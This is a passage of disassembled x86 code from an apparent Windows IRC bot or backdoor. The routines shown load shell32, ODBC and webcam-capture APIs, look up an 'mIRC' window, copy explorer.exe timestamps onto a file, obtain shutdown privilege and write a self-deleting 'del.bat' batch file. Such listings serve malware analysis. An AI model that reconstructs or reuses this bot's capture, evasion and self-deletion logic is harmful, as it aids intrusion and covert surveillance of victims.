cmp dword_43AE00, ebx jz short loc_40A368 cmp eax, ebx jnz short loc_40A372 jmp short loc_40A368 ; --------------------------------------------------------------------------- loc_40A35D: ; CODE XREF: sub_40981F+AEAj call near ptr 2650C0Ah nop mov dword_43AEAC, eax loc_40A368: ; CODE XREF: sub_40981F+B26j ; sub_40981F+B2Ej ... mov dword_43AEA8, 1 loc_40A372: ; CODE XREF: sub_40981F+B3Aj push offset aShell32_dll ; "shell32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A3A7 push offset aShellexecutea ; "ShellExecuteA" push edi call esi push offset aShchangenotify ; "SHChangeNotify" push edi mov dword_43AD0C, eax call esi cmp dword_43AD0C, ebx mov dword_43AE0C, eax jz short loc_40A3B2 cmp eax, ebx jnz short loc_40A3BC jmp short loc_40A3B2 ; --------------------------------------------------------------------------- loc_40A3A7: ; CODE XREF: sub_40981F+B5Ej nop call near ptr 2650C0Ah mov dword_43AEB4, eax loc_40A3B2: ; CODE XREF: sub_40981F+B80j ; sub_40981F+B86j mov dword_43AEB0, 1 loc_40A3BC: ; CODE XREF: sub_40981F+B84j push offset aOdbc32_dll ; "odbc32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A445 push offset aSqldriverconne ; "SQLDriverConnect" push edi call esi push offset aSqlsetenvattr ; "SQLSetEnvAttr" push edi mov dword_43ADD4, eax call esi push offset aSqlexecdirect ; "SQLExecDirect" push edi mov dword_43AE20, eax call esi push offset aSqlallochandle ; "SQLAllocHandle" push edi mov dword_43AD5C, eax call esi push offset aSqlfreehandle ; "SQLFreeHandle" push edi mov dword_43AD1C, eax call esi push offset aSqldisconnect ; "SQLDisconnect" push edi mov dword_43ADB4, eax call esi cmp dword_43ADD4, ebx mov dword_43AD28, eax jz short loc_40A450 cmp dword_43AE20, ebx jz short loc_40A450 cmp dword_43AD5C, ebx jz short loc_40A450 cmp dword_43AD1C, ebx jz short loc_40A450 cmp dword_43ADB4, ebx jz short loc_40A450 cmp eax, ebx jnz short loc_40A45A jmp short loc_40A450 ; --------------------------------------------------------------------------- loc_40A445: ; CODE XREF: sub_40981F+BA8j nop call near ptr 2650C0Ah mov dword_43AEBC, eax loc_40A450: ; CODE XREF: sub_40981F+BFEj ; sub_40981F+C06j ... mov dword_43AEB8, 1 loc_40A45A: ; CODE XREF: sub_40981F+C22j push offset aAvicap32_dll ; "avicap32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A48F push offset aCapcreatecaptu ; "capCreateCaptureWindowA" push edi call esi push offset aCapgetdriverde ; "capGetDriverDescriptionA" push edi mov dword_43ACF0, eax call esi cmp dword_43ACF0, ebx mov dword_43ADC8, eax jz short loc_40A49A cmp eax, ebx jnz short loc_40A4A4 jmp short loc_40A49A ; --------------------------------------------------------------------------- loc_40A48F: ; CODE XREF: sub_40981F+C46j nop call near ptr 2650C0Ah mov dword_43AEC4, eax loc_40A49A: ; CODE XREF: sub_40981F+C68j ; sub_40981F+C6Ej mov dword_43AEC0, 1 loc_40A4A4: ; CODE XREF: sub_40981F+C6Cj push 1 pop eax pop edi pop esi pop ebp pop ebx retn sub_40981F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A4AC proc near ; CODE XREF: sub_40EE72+57D3p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push ebx mov ebx, [ebp+arg_4] push esi xor esi, esi cmp dword_43AE58, esi push edi mov edi, [ebp+arg_8] jz short loc_40A4F4 push dword_43AE5C lea eax, [ebp+var_200] push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>" push eax call sub_4172B0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A4F4: ; CODE XREF: sub_40A4AC+1Aj cmp dword_43AE60, esi jz short loc_40A528 push dword_43AE64 lea eax, [ebp+var_200] push offset aUser32_dllFail ; "User32.dll failed. <%d>" push eax call sub_4172B0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A528: ; CODE XREF: sub_40A4AC+4Ej cmp dword_43AE68, esi jz short loc_40A55C push dword_43AE6C lea eax, [ebp+var_200] push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>" push eax call sub_4172B0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A55C: ; CODE XREF: sub_40A4AC+82j cmp dword_43AE70, esi jz short loc_40A590 push dword_43AE74 lea eax, [ebp+var_200] push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>" push eax call sub_4172B0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A590: ; CODE XREF: sub_40A4AC+B6j cmp dword_43AE78, esi jz short loc_40A5C4 push dword_43AE7C lea eax, [ebp+var_200] push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>" push eax call sub_4172B0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A5C4: ; CODE XREF: sub_40A4AC+EAj cmp dword_43AE80, esi jz short loc_40A5F8 push dword_43AE84 lea eax, [ebp+var_200] push offset aWininet_dllFai ; "Wininet.dll failed. <%d>" push eax call sub_4172B0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A5F8: ; CODE XREF: sub_40A4AC+11Ej cmp dword_43AE88, esi jz short loc_40A62C push dword_43AE8C lea eax, [ebp+var_200] push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>" push eax call sub_4172B0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A62C: ; CODE XREF: sub_40A4AC+152j cmp dword_43AE90, esi jz short loc_40A660 push dword_43AE94 lea eax, [ebp+var_200] push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>" push eax call sub_4172B0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A660: ; CODE XREF: sub_40A4AC+186j cmp dword_43AE98, esi jz short loc_40A694 push dword_43AE9C lea eax, [ebp+var_200] push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>" push eax call sub_4172B0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A694: ; CODE XREF: sub_40A4AC+1BAj cmp dword_43AEA0, esi jz short loc_40A6C8 push dword_43AEA4 lea eax, [ebp+var_200] push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>" push eax call sub_4172B0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A6C8: ; CODE XREF: sub_40A4AC+1EEj cmp dword_43AEA8, esi jz short loc_40A6FC push dword_43AEAC lea eax, [ebp+var_200] push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>" push eax call sub_4172B0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A6FC: ; CODE XREF: sub_40A4AC+222j cmp dword_43AEB0, esi jz short loc_40A730 push dword_43AEB4 lea eax, [ebp+var_200] push offset aShell32_dllFai ; "Shell32.dll failed. <%d>" push eax call sub_4172B0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A730: ; CODE XREF: sub_40A4AC+256j cmp dword_43AEB8, esi jz short loc_40A764 push dword_43AEBC lea eax, [ebp+var_200] push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>" push eax call sub_4172B0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A764: ; CODE XREF: sub_40A4AC+28Aj cmp dword_43AEC0, esi jz short loc_40A798 push dword_43AEC4 lea eax, [ebp+var_200] push offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>" push eax call sub_4172B0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A798: ; CODE XREF: sub_40A4AC+2BEj lea eax, [ebp+var_200] push offset unk_42D764 push eax call sub_4172B0 cmp [ebp+arg_C], esi pop ecx pop ecx jnz short loc_40A7C5 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 14h loc_40A7C5: ; CODE XREF: sub_40A4AC+302j lea eax, [ebp+var_200] push eax call sub_40BF6D pop ecx pop edi pop esi pop ebx leave retn sub_40A4AC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A7D7 proc near ; CODE XREF: sub_40EE72+C5Ep ; sub_40EE72+C92p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] xor esi, esi cmp edi, esi jz short loc_40A862 mov eax, [ebp+arg_4] cmp eax, esi jz short loc_40A862 cmp [ebp+arg_8], esi jz short loc_40A862 cmp byte ptr [eax], 0 jz short loc_40A862 push ebx push edi call sub_42274B mov ebx, eax pop ecx test ebx, ebx jz short loc_40A85D push [ebp+arg_4] push edi call sub_417880 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_40A856 sub eax, edi push eax push edi push ebx call sub_418C10 push [ebp+arg_8] mov eax, ebx sub eax, edi and byte ptr [eax+esi], 0 call sub_417AB0 push eax push [ebp+arg_8] push ebx call sub_418DE0 push [ebp+arg_4] call sub_417AB0 add eax, esi push eax push ebx call sub_4179D0 push ebx push edi call sub_4179C0 add esp, 30h mov esi, edi loc_40A856: ; CODE XREF: sub_40A7D7+3Cj push ebx call sub_417C3B pop ecx loc_40A85D: ; CODE XREF: sub_40A7D7+2Bj mov eax, esi pop ebx jmp short loc_40A864 ; --------------------------------------------------------------------------- loc_40A862: ; CODE XREF: sub_40A7D7+Cj ; sub_40A7D7+13j ... xor eax, eax loc_40A864: ; CODE XREF: sub_40A7D7+89j pop edi pop esi pop ebp retn sub_40A7D7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A868 proc near ; CODE XREF: sub_40ECFA+E9p var_7D0 = dword ptr -7D0h var_7CC = byte ptr -7CCh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7D0h push ebx push esi push 7D0h lea eax, [ebp+var_7D0] push 0 push eax call sub_417330 mov esi, [ebp+arg_0] push esi call sub_417AB0 add esp, 10h push 1 pop ebx cmp eax, ebx jge short loc_40A89E loc_40A899: ; DATA XREF: ___:00428424o ; ___:00428468o ... or eax, 0FFFFFFFFh jmp short loc_40A911 ; --------------------------------------------------------------------------- loc_40A89E: ; CODE XREF: sub_40A868+2Fj xor ecx, ecx mov [ebp+var_7D0], esi test eax, eax jle short loc_40A8C0 loc_40A8AA: ; CODE XREF: sub_40A868+56j mov dl, [ecx+esi] cmp dl, 0Ah jz short loc_40A8B7 cmp dl, 0Dh jnz short loc_40A8BB loc_40A8B7: ; CODE XREF: sub_40A868+48j and byte ptr [ecx+esi], 0 loc_40A8BB: ; CODE XREF: sub_40A868+4Dj inc ecx cmp ecx, eax jl short loc_40A8AA loc_40A8C0: ; CODE XREF: sub_40A868+40j xor edx, edx push edi test eax, eax jle short loc_40A8F1 lea edi, [ebp+var_7CC] loc_40A8CD: ; CODE XREF: sub_40A868+87j cmp byte ptr [edx+esi], 0 jnz short loc_40A8EC cmp byte ptr [edx+esi+1], 0 lea ecx, [edx+esi+1] jz short loc_40A8EC cmp ebx, 1F4h jge short loc_40A8F1 mov [edi], ecx inc ebx add edi, 4 loc_40A8EC: ; CODE XREF: sub_40A868+69j ; sub_40A868+74j inc edx cmp edx, eax jl short loc_40A8CD loc_40A8F1: ; CODE XREF: sub_40A868+5Dj ; sub_40A868+7Cj cmp [ebp+arg_4], 0 pop edi jz short loc_40A90F lea eax, [ebp+var_7D0] push 7D0h push eax push [ebp+arg_4] call sub_417390 add esp, 0Ch loc_40A90F: ; CODE XREF: sub_40A868+8Ej mov eax, ebx loc_40A911: ; CODE XREF: sub_40A868+34j pop esi pop ebx leave retn sub_40A868 endp ; =============== S U B R O U T I N E ======================================= sub_40A915 proc near ; CODE XREF: sub_40A96F+33p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] push esi push edi mov edi, [esp+8+arg_8] mov ecx, 1F4h xor esi, esi rep stosd lea edi, [eax-1] test edi, edi jl short loc_40A94E push ebx mov ebx, edi loc_40A932: ; CODE XREF: sub_40A915+36j mov eax, [esp+0Ch+arg_0] mov al, [esi+eax] push eax call sub_40A951 pop ecx inc esi mov ecx, [esp+0Ch+arg_8] mov [ecx+eax*4], ebx dec ebx cmp esi, edi jle short loc_40A932 pop ebx loc_40A94E: ; CODE XREF: sub_40A915+18j pop edi pop esi retn sub_40A915 endp ; =============== S U B R O U T I N E ======================================= sub_40A951 proc near ; CODE XREF: sub_40A915+25p ; sub_40A96F+6Bp arg_0 = byte ptr 4 movsx eax, [esp+arg_0] push eax call sub_419101 cmp al, 61h pop ecx jl short loc_40A96C cmp al, 7Ah jg short loc_40A96C movsx eax, al sub eax, 60h retn ; --------------------------------------------------------------------------- loc_40A96C: ; CODE XREF: sub_40A951+Ej ; sub_40A951+12j xor eax, eax retn sub_40A951 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A96F proc near ; CODE XREF: sub_40C04D+10p ; sub_40C07F+A0p var_100C = dword ptr -100Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 100Ch call sub_417B30 push ebx push esi push edi push [ebp+arg_0] call sub_417AB0 push [ebp+arg_4] mov [ebp+var_4], eax call sub_417AB0 mov esi, eax lea eax, [ebp+var_100C] push eax push esi push [ebp+arg_4] mov [ebp+var_C], esi call sub_40A915 add esp, 14h dec esi mov edi, esi loc_40A9AD: ; CODE XREF: sub_40A96F+B6j test esi, esi jle short loc_40AA2B mov eax, [ebp+arg_4] movsx eax, byte ptr [esi+eax] push eax call sub_419101 mov ebx, eax mov eax, [ebp+arg_0] movsx eax, byte ptr [edi+eax] push eax call sub_419101 pop ecx cmp eax, ebx pop ecx jz short loc_40AA23 loc_40A9D3: ; CODE XREF: sub_40A96F+B2j mov ebx, [ebp+arg_0] mov al, [edi+ebx] push eax call sub_40A951 mov edx, [ebp+var_C] mov eax, [ebp+eax*4+var_100C] pop ecx mov ecx, edx sub ecx, esi cmp ecx, eax jle short loc_40A9F4 mov eax, ecx loc_40A9F4: ; CODE XREF: sub_40A96F+81j add edi, eax cmp edi, [ebp+var_4] jge short loc_40AA27 mov eax, [ebp+arg_4] lea esi, [edx-1] movsx eax, byte ptr [esi+eax] push eax call sub_419101 mov edx, eax movsx eax, byte ptr [edi+ebx] push eax mov [ebp+var_8], edx call sub_419101 pop ecx pop ecx mov ecx, [ebp+var_8] cmp eax, ecx jnz short loc_40A9D3 loc_40AA23: ; CODE XREF: sub_40A96F+62j dec edi dec esi jmp short loc_40A9AD ; --------------------------------------------------------------------------- loc_40AA27: ; CODE XREF: sub_40A96F+8Aj xor eax, eax jmp short loc_40AA30 ; --------------------------------------------------------------------------- loc_40AA2B: ; CODE XREF: sub_40A96F+40j mov eax, [ebp+arg_0] add eax, edi loc_40AA30: ; CODE XREF: sub_40A96F+BAj pop edi pop esi pop ebx leave retn sub_40A96F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AA35 proc near ; CODE XREF: sub_40EE72+3C8Cp ; sub_40EE72+4AF5p var_100 = byte ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 100h push esi call near ptr 2650C0Ah nop mov esi, eax push 0 lea eax, [ebp+var_100] push 100h push eax push 400h push esi push 0 push 1200h call near ptr 2730000h nop lea eax, [ebp+var_100] loc_40AA6E: ; CODE XREF: sub_40AA35+46j mov cl, [eax] cmp cl, 1Fh jg short loc_40AA7A cmp cl, 9 jnz short loc_40AA7D loc_40AA7A: ; CODE XREF: sub_40AA35+3Ej inc eax jmp short loc_40AA6E ; --------------------------------------------------------------------------- loc_40AA7D: ; CODE XREF: sub_40AA35+43j ; sub_40AA35+5Bj ... and byte ptr [eax], 0 dec eax lea ecx, [ebp+var_100] cmp eax, ecx jb short loc_40AA97 mov cl, [eax] cmp cl, 2Eh jz short loc_40AA7D cmp cl, 21h jl short loc_40AA7D loc_40AA97: ; CODE XREF: sub_40AA35+54j lea eax, [ebp+var_100] push esi push eax mov esi, offset dword_43AEC8 push [ebp+arg_0] push offset aSErrorSD_ ; "%s Error: %s <%d>." push 200h push esi call sub_41782A add esp, 18h mov eax, esi pop esi leave retn sub_40AA35 endp ; =============== S U B R O U T I N E ======================================= sub_40AABF proc near ; CODE XREF: sub_40EE72+5732p push esi push 0 call dword_43AD68 test eax, eax jz short loc_40AAF6 push 1 call dword_43AD88 mov esi, eax test esi, esi jz short loc_40AAF6 push edi push esi nop call near ptr 2740621h push esi mov edi, eax call near ptr 2740000h nop call dword_43ADEC mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_40AAF6: ; CODE XREF: sub_40AABF+Bj ; sub_40AABF+19j xor eax, eax pop esi retn sub_40AABF endp ; =============== S U B R O U T I N E ======================================= sub_40AAFA proc near ; CODE XREF: sub_40EE72+48BFp arg_0 = dword ptr 4 push ebp push esi push edi xor esi, esi mov edi, offset aMirc ; "mIRC" push esi push edi call dword_43ADA4 mov ebp, eax cmp ebp, esi jz short loc_40AB76 push ebx push edi push 1000h push esi push 4 push esi push 0FFFFFFFFh call near ptr 2750000h nop push esi push esi mov edi, eax push esi push 0F001Fh push edi nop call near ptr 25B0000h push [esp+10h+arg_0] mov ebx, eax push ebx call sub_4172B0 pop ecx pop ecx push esi push 1 push 4C8h push ebp call dword_43ADF4 push esi push 1 push 4C9h push ebp call dword_43ADF4 push ebx nop call near ptr 2740C1Ah push edi nop call near ptr 26318FCh push 1 pop eax pop ebx jmp short loc_40AB78 ; --------------------------------------------------------------------------- loc_40AB76: ; CODE XREF: sub_40AAFA+16j xor eax, eax loc_40AB78: ; CODE XREF: sub_40AAFA+7Aj pop edi pop esi pop ebp retn sub_40AAFA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AB7C proc near ; CODE XREF: ___:0040E8BBp var_11C = byte ptr -11Ch var_18 = byte ptr -18h var_10 = byte ptr -10h var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 11Ch push ebx push esi xor esi, esi push edi lea eax, [ebp+var_11C] push esi push eax push 104h push esi push offset aExplorer_exe ; "explorer.exe" push esi call dword_43AE54 test eax, eax jz short loc_40AC1B mov edi, 80h push esi push edi push 3 push esi mov esi, dword_424084 push 1 lea eax, [ebp+var_11C] push 80000000h push eax call esi mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_40AC1B lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push ebx nop call near ptr 2760000h push ebx mov ebx, dword_424078 call ebx push 0 push edi push 3 push 0 push 2 push 40000000h push [ebp+arg_0] call esi mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40AC1B lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push esi call near ptr 275069Ch nop push esi call ebx loc_40AC1B: ; CODE XREF: sub_40AB7C+2Aj ; sub_40AB7C+51j ... pop edi pop esi pop ebx leave retn sub_40AB7C endp ; =============== S U B R O U T I N E ======================================= sub_40AC20 proc near ; CODE XREF: sub_40EE72+13C4p push 1 push offset aSeshutdownpriv ; "SeShutdownPrivilege" call sub_41511F pop ecx pop ecx push 50005h push 6 call dword_43ACE0 neg eax sbb eax, eax neg eax retn sub_40AC20 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AC42 proc near ; CODE XREF: sub_40CAF1+472p ; sub_40EE72+59D4p var_764 = byte ptr -764h var_364 = byte ptr -364h var_260 = byte ptr -260h var_15C = byte ptr -15Ch var_58 = dword ptr -58h var_4C = dword ptr -4Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_14 = byte ptr -14h var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 764h push esi xor esi, esi cmp dword_42F5C0, esi push edi jz short loc_40AC66 cmp dword_43AE68, esi jnz short loc_40AC66 push esi call sub_40C1AE pop ecx loc_40AC66: ; CODE XREF: sub_40AC42+13j ; sub_40AC42+1Bj call sub_416F25 lea eax, [ebp+var_764] push eax push 400h call near ptr 27711C9h nop lea eax, [ebp+var_764] push eax lea eax, [ebp+var_260] push offset aSdel_bat ; "%sdel.bat" push eax call sub_4172B0 add esp, 0Ch lea eax, [ebp+var_260] push esi push esi push 2 push esi push esi push 40000000h push eax nop call near ptr 26508D5h mov edi, eax cmp edi, esi jbe loc_40ADC6 lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"... push eax call sub_4172B0 add esp, 0Ch lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_764] push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_764] push eax push edi call near ptr 2640000h nop push edi call near ptr 26318FCh nop push 10h lea eax, [ebp+var_14] push esi push eax call sub_417330 push 44h lea eax, [ebp+var_58] pop edi push edi push esi push eax call sub_417330 add esp, 18h mov [ebp+var_58], edi mov edi, 104h lea eax, [ebp+var_15C] push edi push eax push esi mov [ebp+var_4C], offset byte_436EDC mov [ebp+var_2C], 1 mov [ebp+var_28], si call near ptr 2720A08h nop push eax nop call near ptr 2660000h lea eax, [ebp+var_15C] push eax nop call near ptr 26903A8h cmp eax, 0FFFFFFFFh jz short loc_40AD6E lea eax, [ebp+var_15C] push 80h push eax nop call near ptr 27710B7h loc_40AD6E: ; CODE XREF: sub_40AC42+118j lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset aComspecCSS ; "%%comspec%% /c %s %s" push eax call sub_4172B0 add esp, 10h lea eax, [ebp+var_364] push edi push eax lea eax, [ebp+var_764] push eax nop call near ptr 2770000h lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push esi push esi push 4008h push 1 push esi lea eax, [ebp+var_364] push esi push eax push esi nop call near ptr 276050Eh loc_40ADC6: ; CODE XREF: sub_40AC42+72j pop edi pop esi leave retn sub_40AC42 endp ; =============== S U B R O U T I N E ======================================= sub_40ADCA proc near ; CODE XREF: sub_4013EC+7p ; sub_401992+7p ... arg_0 = dword ptr 4 push [esp+arg_0] call dword_43ADD8 cmp eax, 0FFFFFFFFh jnz short locret_40ADF2 push [esp+arg_0] call dword_43AE1C test eax, eax jnz short loc_40ADEB or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_40ADEB: ; CODE XREF: sub_40ADCA+1Bj mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] locret_40ADF2: ; CODE XREF: sub_40ADCA+Dj retn sub_40ADCA endp ; =============== S U B R O U T I N E ======================================= sub_40ADF3 proc near ; CODE XREF: sub_40EB92+D6p mov ecx, dword_43ACC0 xor eax, eax test ecx, ecx jz short locret_40AE01 call ecx locret_40AE01: ; CODE XREF: sub_40ADF3+Aj retn sub_40ADF3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AE02 proc near ; CODE XREF: sub_40EE72:loc_414556p var_88 = byte ptr -88h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 88h push ebx push esi push edi push 1 pop ebx lea eax, [ebp+var_8] xor edi, edi push ebx push eax push edi xor esi, esi mov [ebp+var_8], edi mov [ebp+var_4], ebx call dword_43AE14 mov ecx, eax sub ecx, edi jz loc_40AEC8 sub ecx, 32h jz loc_40AEC1 sub ecx, 48h jz short loc_40AE62 sub ecx, 6Eh jz short loc_40AE5B loc_40AE44: ; CODE XREF: sub_40AE02+8Bj push eax lea eax, [ebp+var_88] push offset unk_42DA5C push eax call sub_4172B0 add esp, 0Ch jmp short loc_40AEA2 ; --------------------------------------------------------------------------- loc_40AE5B: ; CODE XREF: sub_40AE02+40j push offset unk_42DA28 jmp short loc_40AE94 ; --------------------------------------------------------------------------- loc_40AE62: ; CODE XREF: sub_40AE02+3Bj push [ebp+var_8] call sub_417B89 push [ebp+var_8] mov esi, eax push edi push esi call sub_417330 add esp, 10h cmp esi, edi jz short loc_40AE8F lea eax, [ebp+var_8] push ebx push eax push esi call dword_43AE14 cmp eax, edi jz short loc_40AEC8 jmp short loc_40AE44 ; --------------------------------------------------------------------------- loc_40AE8F: ; CODE XREF: sub_40AE02+79j push offset unk_42D9E8 loc_40AE94: ; CODE XREF: sub_40AE02+5Ej ; sub_40AE02+C4j lea eax, [ebp+var_88] push eax call sub_4172B0 pop ecx pop ecx loc_40AEA2: ; CODE XREF: sub_40AE02+57j lea eax, [ebp+var_88] mov [ebp+var_4], edi push eax call sub_40BF6D pop ecx loc_40AEB2: ; CODE XREF: sub_40AE02+C8j ; sub_40AE02+DCj push esi call sub_417C3B mov eax, [ebp+var_4] pop ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40AEC1: ; CODE XREF: sub_40AE02+32j push offset unk_42D9A8 jmp short loc_40AE94 ; --------------------------------------------------------------------------- loc_40AEC8: ; CODE XREF: sub_40AE02+29j ; sub_40AE02+89j cmp [esi], edi jbe short loc_40AEB2 lea ebx, [esi+4] loc_40AECF: ; CODE XREF: sub_40AE02+DAj push ebx call dword_43AE10 inc edi add ebx, 18h cmp edi, [esi] jb short loc_40AECF jmp short loc_40AEB2 sub_40AE02 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AEE0 proc near ; CODE XREF: sub_40144A+243p ; sub_401D82+268p ... var_14 = byte ptr -14h var_10 = byte ptr -10h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push esi push 10h pop eax mov [ebp+var_4], eax push eax lea eax, [ebp+var_14] push 0 push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_4] push eax lea eax, [ebp+var_14] push eax push [ebp+arg_0] call dword_43AD3C movzx eax, [ebp+var_D] push eax mov esi, offset dword_43B0CC movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_F] push eax movzx eax, [ebp+var_10] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push esi call sub_4172B0 add esp, 18h mov eax, esi pop esi leave retn sub_40AEE0 endp ; =============== S U B R O U T I N E ======================================= sub_40AF39 proc near ; CODE XREF: sub_4010B5+24Cp ; sub_4010B5+292p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_4] xor eax, eax cmp esi, 1 jle short loc_40AF62 mov ecx, esi push edi shr ecx, 1 mov edx, ecx neg edx lea esi, [esi+edx*2] mov edx, [esp+8+arg_0] loc_40AF55: ; CODE XREF: sub_40AF39+24j movzx edi, word ptr [edx] add eax, edi inc edx inc edx dec ecx jnz short loc_40AF55 pop edi jmp short loc_40AF66 ; --------------------------------------------------------------------------- loc_40AF62: ; CODE XREF: sub_40AF39+Aj mov edx, [esp+4+arg_0] loc_40AF66: ; CODE XREF: sub_40AF39+27j test esi, esi pop esi jz short loc_40AF70 movzx ecx, byte ptr [edx] add eax, ecx loc_40AF70: ; CODE XREF: sub_40AF39+30j mov ecx, eax and eax, 0FFFFh shr ecx, 10h add ecx, eax mov eax, ecx shr eax, 10h add eax, ecx not eax retn sub_40AF39 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AF86 proc near ; DATA XREF: sub_40EE72+2E51o var_10320 = byte ptr -10320h var_344 = byte ptr -344h var_144 = dword ptr -144h var_140 = byte ptr -140h var_C0 = byte ptr -0C0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = byte ptr -20h var_18 = dword ptr -18h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 10320h call sub_417B30 mov eax, [ebp+arg_0] push ebx push esi push edi push 49h mov esi, eax pop ecx lea edi, [ebp+var_144] rep movsd push 1 pop edi mov [eax+120h], edi call dword_43AD24 mov [ebp+arg_0], eax lea eax, [ebp+var_C0] push eax call dword_43ADD8 mov esi, eax xor ebx, ebx xor eax, eax cmp esi, 0FFFFFFFFh jnz short loc_40AFE1 lea eax, [ebp+var_C0] push eax call dword_43AE1C cmp eax, ebx jz short loc_40AFE7 loc_40AFE1: ; CODE XREF: sub_40AF86+48j cmp [ebp+arg_0], 0FFFFFFFFh jnz short loc_40B044 loc_40AFE7: ; CODE XREF: sub_40AF86+59j lea eax, [ebp+var_C0] push eax lea eax, [ebp+var_344] push offset unk_42DAD8 push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_28], ebx jnz short loc_40B027 push ebx lea eax, [ebp+var_344] push [ebp+var_2C] push eax lea eax, [ebp+var_140] push eax push [ebp+var_144] call sub_40D679 add esp, 14h loc_40B027: ; CODE XREF: sub_40AF86+7Fj lea eax, [ebp+var_344] push eax call 